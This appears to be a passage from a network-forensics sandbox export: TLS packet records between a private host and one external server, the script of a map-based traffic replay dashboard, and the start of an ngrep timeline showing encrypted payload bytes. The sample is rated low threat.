\"PSH,ACK\"}, {\"packet_number\": 3, \"timestamp\": 1777226486.107823, \"timestamp_iso\": \"2026-04-26T23:31:26.107823\", \"timestamp_human\": \"2026-04-26 23:31:26.107\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46848, \"ip_len\": 139, \"ip_flags\": {\"DF\": false, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 4, \"timestamp\": 1777226487.134883, \"timestamp_iso\": \"2026-04-26T23:31:27.134883\", \"timestamp_human\": \"2026-04-26 23:31:27.134\", \"size\": 302, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46849, \"ip_len\": 288, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 5, \"timestamp\": 1777226487.448527, \"timestamp_iso\": \"2026-04-26T23:31:27.448527\", \"timestamp_human\": \"2026-04-26 23:31:27.448\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46850, \"ip_len\": 139, \"ip_flags\": {\"DF\": false, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 6, \"timestamp\": 1777226487.448622, \"timestamp_iso\": \"2026-04-26T23:31:27.448622\", \"timestamp_human\": \"2026-04-26 23:31:27.448\", \"size\": 302, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46851, \"ip_len\": 288, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 7, \"timestamp\": 1777226488.151688, \"timestamp_iso\": \"2026-04-26T23:31:28.151688\", \"timestamp_human\": \"2026-04-26 23:31:28.151\", \"size\": 302, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46852, \"ip_len\": 288, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 8, \"timestamp\": 1777226488.749115, \"timestamp_iso\": \"2026-04-26T23:31:28.749115\", \"timestamp_human\": \"2026-04-26 23:31:28.749\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46853, \"ip_len\": 139, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 9, \"timestamp\": 1777226489.452254, \"timestamp_iso\": \"2026-04-26T23:31:29.452254\", \"timestamp_human\": \"2026-04-26 23:31:29.452\", \"size\": 302, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46854, \"ip_len\": 288, \"ip_flags\": {\"DF\": false, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 10, \"timestamp\": 1777226490.664584, \"timestamp_iso\": \"2026-04-26T23:31:30.664584\", \"timestamp_human\": \"2026-04-26 23:31:30.664\", \"size\": 302, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46855, \"ip_len\": 288, \"ip_flags\": {\"DF\": false, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 11, \"timestamp\": 1777226491.149062, \"timestamp_iso\": \"2026-04-26T23:31:31.149062\", \"timestamp_human\": \"2026-04-26 23:31:31.149\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46856, \"ip_len\": 139, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 12, \"timestamp\": 1777226491.868775, \"timestamp_iso\": \"2026-04-26T23:31:31.868775\", \"timestamp_human\": \"2026-04-26 23:31:31.868\", \"size\": 302, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46857, \"ip_len\": 288, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 13, \"timestamp\": 1777226494.27623, \"timestamp_iso\": \"2026-04-26T23:31:34.276230\", \"timestamp_human\": \"2026-04-26 23:31:34.276\", \"size\": 302, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46858, \"ip_len\": 288, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 14, \"timestamp\": 1777226496.042131, \"timestamp_iso\": \"2026-04-26T23:31:36.042131\", \"timestamp_human\": \"2026-04-26 23:31:36.042\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46859, \"ip_len\": 139, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 15, \"timestamp\": 1777226499.142185, \"timestamp_iso\": \"2026-04-26T23:31:39.142185\", \"timestamp_human\": \"2026-04-26 23:31:39.142\", \"size\": 302, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46860, \"ip_len\": 288, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 16, \"timestamp\": 1777226505.653613, \"timestamp_iso\": \"2026-04-26T23:31:45.653613\", \"timestamp_human\": \"2026-04-26 23:31:45.653\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46861, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783903, \"tcp_ack\": 1692602478, \"tcp_window\": 0, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": true, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"RST,ACK\"}, {\"packet_number\": 17, \"timestamp\": 1777226508.888299, \"timestamp_iso\": \"2026-04-26T23:31:48.888299\", \"timestamp_human\": \"2026-04-26 23:31:48.888\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46862, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411405, \"tcp_ack\": 1369756557, \"tcp_window\": 0, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": true, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"RST,ACK\"}], \"tcp_flags\": {\"PSH\": 16, \"ACK\": 18, \"RST\": 2}, \"packet_sizes\": [153, 153, 153, 153, 302, 153, 302, 302, 153, 302, 302, 153, 302, 302, 153, 302, 54, 54], \"inter_packet_intervals\": [0.31171202659606934, 0.6097621917724609, 1.2029387950897217, 1.0270600318908691, 0.3136441707611084, 9.489059448242188e-05, 0.7030661106109619, 0.5974268913269043, 0.703139066696167, 1.2123298645019531, 0.4844779968261719, 0.7197129726409912, 2.4074552059173584, 1.7659008502960205, 3.1000540256500244, 6.511428117752075, 3.2346858978271484], \"connection_type\": \"TCP Data\", \"threat_level\": \"low\", \"duration\": 24.90488910675049, \"avg_packet_size\": 208.22222222222223, \"packets_per_second\": 0.7227496546098287, \"bytes_per_second\": 150.4925391932021, \"min_packet_size\": 54, \"max_packet_size\": 302, \"median_packet_size\": 153, \"avg_interval\": 1.4649934768676758, \"min_interval\": 9.489059448242188e-05, \"max_interval\": 6.511428117752075}];\n        \n        // Unified Timeline Data\n        const allPackets = [];\n        edges.forEach(e => {\n            e.packets.forEach(p => {\n                allPackets.push({\n                    ...p,\n                    source: e.source,\n                    target: e.target,\n                    protocols: p.protocols\n                });\n            });\n        });\n        allPackets.sort((a, b) => a.timestamp - b.timestamp);\n\n        // Map Setup\n        const map = L.map('map', {\n            center: [20, 0],\n            zoom: 2,\n            minZoom: 2,\n            maxBounds: [[-90, -180], [90, 180]],\n            maxBoundsViscosity: 1.0,\n            worldCopyJump: false\n        });\n\n        L.tileLayer('https://{s}.basemaps.cartocdn.com/light_all/{z}/{x}/{y}{r}.png', {\n            attribution: '©OpenStreetMap, ©CartoDB',\n            noWrap: true,\n            bounds: [[-90, -180], [90, 180]]\n        }).addTo(map);\n\n        // Projection Helper for Private IPs\n        function getPos(node) {\n            if (node.is_private) {\n                // Place private nodes in the stylized \"Pvt Zone\" (North Pacific area)\n                // Offset slightly per node to avoid overlap\n                const idx = nodes.filter(n => n.is_private).indexOf(node);\n                const pvtLat = 50 + (idx % 5) * 2;\n                const pvtLon = -160 + Math.floor(idx / 5) * 5;\n                return [pvtLat, pvtLon];\n            }\n            return [node.geo.lat || 0, node.geo.lon || 0];\n        }\n\n        // Initialize positions\n        nodes.forEach(n => {\n            const pos = getPos(n);\n            n.currentLat = pos[0];\n            n.currentLon = pos[1];\n        });\n\n        // D3 Overlay\n        L.svg().addTo(map);\n        const svg = d3.select(map.getPanes().overlayPane).select(\"svg\");\n        const g = svg.append(\"g\").attr(\"class\", \"leaflet-zoom-hide\");\n\n        // Scale node radius by traffic volume\n        const nodeScale = d3.scaleSqrt()\n            .domain([0, d3.max(nodes, d => d.packet_count) || 100])\n            .range([5, 20]);\n\n        const link = g.selectAll(\".link\")\n            .data(edges)\n            .enter().append(\"path\")\n            .attr(\"class\", \"link\")\n            .attr(\"stroke\", e => e.threat_level === 'critical' ? '#ef4444' : '#94a3b8')\n            .attr(\"stroke-width\", 1.5)\n            .on(\"click\", (e, d) => inspectFlow(d));\n\n        const node = g.selectAll(\".node\")\n            .data(nodes)\n            .enter().append(\"circle\")\n            .attr(\"class\", \"node\")\n            .attr(\"r\", d => nodeScale(d.packet_count))\n            .attr(\"fill\", d => d.is_private ? \"#3b82f6\" : \"#10b981\")\n            .attr(\"stroke\", \"#fff\")\n            .attr(\"stroke-width\", 2)\n            .on(\"click\", (e, d) => inspectNode(d));\n\n        node.append(\"title\").text(d => d.ip);\n\n        function updatePositions() {\n            node.attr(\"cx\", d => map.latLngToLayerPoint([d.currentLat, d.currentLon]).x)\n                .attr(\"cy\", d => map.latLngToLayerPoint([d.currentLat, d.currentLon]).y);\n\n            link.attr(\"d\", d => {\n                const s = nodes.find(n => n.id === d.source);\n                const t = nodes.find(n => n.id === d.target);\n                if (!s || !t) return \"\";\n                const sp = map.latLngToLayerPoint([s.currentLat, s.currentLon]);\n                const tp = map.latLngToLayerPoint([t.currentLat, t.currentLon]);\n                return `M${sp.x},${sp.y}L${tp.x},${tp.y}`;\n            });\n        }\n\n        map.on(\"viewreset move\", updatePositions);\n        updatePositions();\n\n        // Stats\n        document.getElementById('stat-nodes').innerText = nodes.length;\n        document.getElementById('stat-edges').innerText = edges.length;\n        document.getElementById('stat-pkts').innerText = allPackets.length;\n\n        // --- Replay Logic ---\n        let replayIdx = 0;\n        let isPlaying = false;\n        let replayTimer = null;\n        const timeline = document.getElementById('timeline');\n        const timeDisplay = document.getElementById('time-display');\n\n        function toggleReplay() {\n            isPlaying = !isPlaying;\n            document.getElementById('play-icon').className = isPlaying ? \"fas fa-pause\" : \"fas fa-play\";\n            if (isPlaying) runReplay();\n            else clearInterval(replayTimer);\n        }\n\n        function runReplay() {\n            clearInterval(replayTimer);\n            replayTimer = setInterval(() => {\n                if (replayIdx >= allPackets.length) {\n                    toggleReplay();\n                    return;\n                }\n                processPacket(allPackets[replayIdx]);\n                replayIdx++;\n                const progress = (replayIdx / allPackets.length) * 100;\n                timeline.value = progress;\n            }, 150);\n        }\n\n        function seekReplay(val) {\n            const targetIdx = Math.floor((val / 100) * (allPackets.length - 1));\n            replayIdx = targetIdx;\n            if (allPackets[replayIdx]) {\n                processPacket(allPackets[replayIdx]);\n            }\n        }\n\n        function processPacket(pkt) {\n            timeDisplay.innerText = pkt.timestamp_human.split(' ')[1];\n            animatePacket(pkt.source, pkt.target);\n            updateLiveInspector(pkt);\n        }\n\n        function animatePacket(srcId, dstId) {\n            const s = nodes.find(n => n.id === srcId);\n            const t = nodes.find(n => n.id === dstId);\n            if (!s || !t) return;\n            \n            const sp = map.latLngToLayerPoint([s.currentLat, s.currentLon]);\n            const tp = map.latLngToLayerPoint([t.currentLat, t.currentLon]);\n\n            const p = g.append(\"circle\")\n                .attr(\"r\", 4)\n                .attr(\"class\", \"packet-particle\")\n                .attr(\"cx\", sp.x)\n                .attr(\"cy\", sp.y);\n\n            p.transition()\n                .duration(800)\n                .ease(d3.easeLinear)\n                .attr(\"cx\", tp.x)\n                .attr(\"cy\", tp.y)\n                .remove();\n        }\n\n        function updateLiveInspector(pkt) {\n            const srcNode = nodes.find(n => n.id === pkt.source);\n            const dstNode = nodes.find(n => n.id === pkt.target);\n            \n            const body = document.getElementById('inspect-body');\n            \n            // Format payload\n            let payloadHtml = \"\";\n            if (pkt.payload_preview) {\n                const hex = pkt.payload_preview.match(/.{1,2}/g).join(' ');\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (Hex)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 150px; overflow-y: auto; font-size: 0.7rem;\">${hex}</div>\n                `;\n            } else if (pkt.payload_ascii) {\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (ASCII)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 150px; overflow-y: auto; font-size: 0.7rem;\">${pkt.payload_ascii}</div>\n                `;\n            }\n\n            body.innerHTML = `\n                <div class=\"info-card\" style=\"border-left: 4px solid var(--accent-main)\">\n                    <div class=\"sec-title\">Live Replay Analysis</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Packet ID</span><span class=\"data-value\">#${pkt.packet_number}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Timestamp</span><span class=\"data-value\">${pkt.timestamp_human}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${pkt.protocols.join(' → ')}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Size</span><span class=\"data-value\">${pkt.size} Bytes</span></div>\n                </div>\n\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Source: ${pkt.source}</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Location</span><span class=\"data-value\">${srcNode.geo.city}, ${srcNode.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP / ASN</span><span class=\"data-value\">${srcNode.geo.isp} (AS${srcNode.geo.asn})</span></div>\n                </div>\n\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Destination: ${pkt.target}</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Location</span><span class=\"data-value\">${dstNode.geo.city}, ${dstNode.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP / ASN</span><span class=\"data-value\">${dstNode.geo.isp} (AS${dstNode.geo.asn})</span></div>\n                </div>\n\n                ${pkt.tcp_flags_str ? `<div class=\"info-card\"><div class=\"sec-title\">TCP Flags</div><div class=\"data-value\">${pkt.tcp_flags_str}</div></div>` : ''}\n                ${pkt.dns_query ? `<div class=\"info-card\"><div class=\"sec-title\">DNS Query</div><div class=\"data-value\">${pkt.dns_query}</div></div>` : ''}\n\n                <div class=\"info-card\">\n                    ${payloadHtml || '<div class=\"data-label\">No raw payload data</div>'}\n                </div>\n            `;\n        }\n\n        function inspectNode(d) {\n            document.getElementById('inspect-title').innerText = `Node: ${d.ip}`;\n            const body = document.getElementById('inspect-body');\n            body.innerHTML = `\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Investigation Metadata</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Country</span><span class=\"data-value\">${d.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">City</span><span class=\"data-value\">${d.geo.city}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP</span><span class=\"data-value\">${d.geo.isp}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ASN</span><span class=\"data-value\">${d.geo.asn}</span></div>\n                </div>\n                <div class=\"sec-title\">Traffic Intensity</div>\n                <div class=\"stat-grid\">\n                    <div class=\"stat-box\"><div class=\"stat-v\">${d.packet_count}</div><div class=\"stat-l\">Packets</div></div>\n                    <div class=\"stat-box\"><div class=\"stat-v\">${(d.total_bytes_sent/1024).toFixed(1)}</div><div class=\"stat-l\">KB Sent</div></div>\n                    <div class=\"stat-box\"><div class=\"stat-v\">${(d.total_bytes_received/1024).toFixed(1)}</div><div class=\"stat-l\">KB Recv</div></div>\n                </div>\n                <div class=\"sec-title\" style=\"margin-top:20px;\">Recent Packets</div>\n                ${d.packets.slice(-10).map(p => {\n                    const pStr = JSON.stringify(p).replace(/\"/g, '&quot;');\n                    return `\n                        <div class=\"packet-list-item\" onclick=\"showPacketDetails('${d.ip}', ${pStr})\">\n                            <span>#${p.num} - ${p.direction.toUpperCase()}</span>\n                            <span>${p.size}B</span>\n                        </div>\n                    `;\n                }).join('')}\n            `;\n        }\n\n        function inspectFlow(d) {\n            const s = nodes.find(n => n.id === d.source);\n            const t = nodes.find(n => n.id === d.target);\n            document.getElementById('inspect-title').innerText = `Flow: ${d.source} → ${d.target}`;\n            const body = document.getElementById('inspect-body');\n            body.innerHTML = `\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Flow Characteristics</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${d.protocols.join(', ')}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Total Traffic</span><span class=\"data-value\">${(d.total_bytes / 1024).toFixed(2)} KB</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Threat Level</span><span class=\"data-value\" style=\"color:${d.threat_level === 'low' ? 'var(--accent-success)' : 'var(--accent-danger)'}\">${d.threat_level.toUpperCase()}</span></div>\n                </div>\n                <div class=\"sec-title\">Packet Log</div>\n                ${d.packets.slice(-15).map(p => `\n                    <div class=\"packet-list-item\" style=\"border-left: 3px solid var(--accent-main)\">\n                        <div>\n                            <div style=\"font-weight:700\">#${p.packet_number} [${p.protocols[p.protocols.length-1]}]</div>\n                            <div style=\"font-size:0.75rem; color:var(--text-secondary)\">${p.timestamp_human.split(' ')[1]}</div>\n                        </div>\n                        <div style=\"text-align:right\">\n                            <div>${p.size}B</div>\n                        </div>\n                    </div>\n                `).join('')}\n            `;\n        }\n\n        function showPacketDetails(ip, p) {\n            const body = document.getElementById('inspect-body');\n            document.getElementById('inspect-title').innerText = `Packet Inspection`;\n            document.getElementById('inspect-subtitle').innerText = `IP: ${ip}`;\n            \n            let payloadHtml = \"\";\n            if (p.payload_preview) {\n                const hex = p.payload_preview.match(/.{1,2}/g).join(' ');\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (Hex)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 200px; overflow-y: auto; font-size: 0.7rem;\">${hex}</div>\n                `;\n            } else if (p.payload_ascii) {\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (ASCII)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 200px; overflow-y: auto; font-size: 0.7rem;\">${p.payload_ascii}</div>\n                `;\n            }\n\n            body.innerHTML = `\n                <div class=\"info-card\" style=\"border-left: 4px solid var(--accent-main)\">\n                    <div class=\"sec-title\">Packet Details</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Timestamp</span><span class=\"data-value\">${p.timestamp_human}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${p.protocols ? p.protocols.join(' → ') : 'N/A'}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Byte Size</span><span class=\"data-value\">${p.size}</span></div>\n                </div>\n\n                ${p.tcp_flags_str ? `<div class=\"info-card\"><div class=\"sec-title\">TCP Control Flags</div><div class=\"data-value\">${p.tcp_flags_str}</div></div>` : ''}\n                ${p.dns_query ? `<div class=\"info-card\"><div class=\"sec-title\">DNS Query Resolve</div><div class=\"data-value\">${p.dns_query}</div></div>` : ''}\n\n                <div class=\"info-card\">\n                    ${payloadHtml || '<div class=\"data-label\">No raw payload data available</div>'}\n                </div>\n                \n                <button class=\"btn\" onclick=\"zoomToWorld()\" style=\"width:100%; margin-top:10px; padding:10px;\">Return to Overview</button>\n            `;\n        }\n\n        function closePacketPanel() {\n            // No longer used as we use the side panel\n        }\n\n        function zoomToWorld() {\n            map.flyTo([20, 0], 2);\n        }\n    </script>\n</body>\n</html>\n"},{"_id":{"$oid":"69edf36a59a6632dae07de57"},"sha256":"6ba13af0263cd61f957f2ce738120c8a419e1eb157e489bc79f1d57ad8277324","timestamp":{"$date":"2026-04-28T14:15:10.915Z"},"analysis_successful":true,"csv_reports":{"network_analysis_domains_ips.csv":"name,ip,src,av detection,reputation,malicious,internal/ external\n","forensic_timeline.csv":"timestamp,category,event,details\n0.0,NGrep,input: /tmp/filtered_gmi3t49v.pcap,\"Payload: filter: ((ip || ip6) || (vlan && (ip || ip6)))\nmatch (JIT): .\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #1\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #2\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #3\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #4\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #5\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....iQ.*w....\\.7c..7.....Zq...S%...G.o.#.....]8#....).F...0.....^.\"\".&Z.;.k..7..\\.}...`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....;...o..2?......m\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #6\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....iQ.*w....\\.7c..7.....Zq...S%...G.o.#.....]8#....).F...0.....^.\"\".&Z.;.k..7..\\.}...`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....;...o..2?......m\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #7\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #8\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....iQ.*w....\\.7c..7.....Zq...S%...G.o.#.....]8#....).F...0.....^.\"\".&Z.;.k..7..\\.}...`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....;...o..2?......m\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #9\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #10\n...................t....\n.%i...W 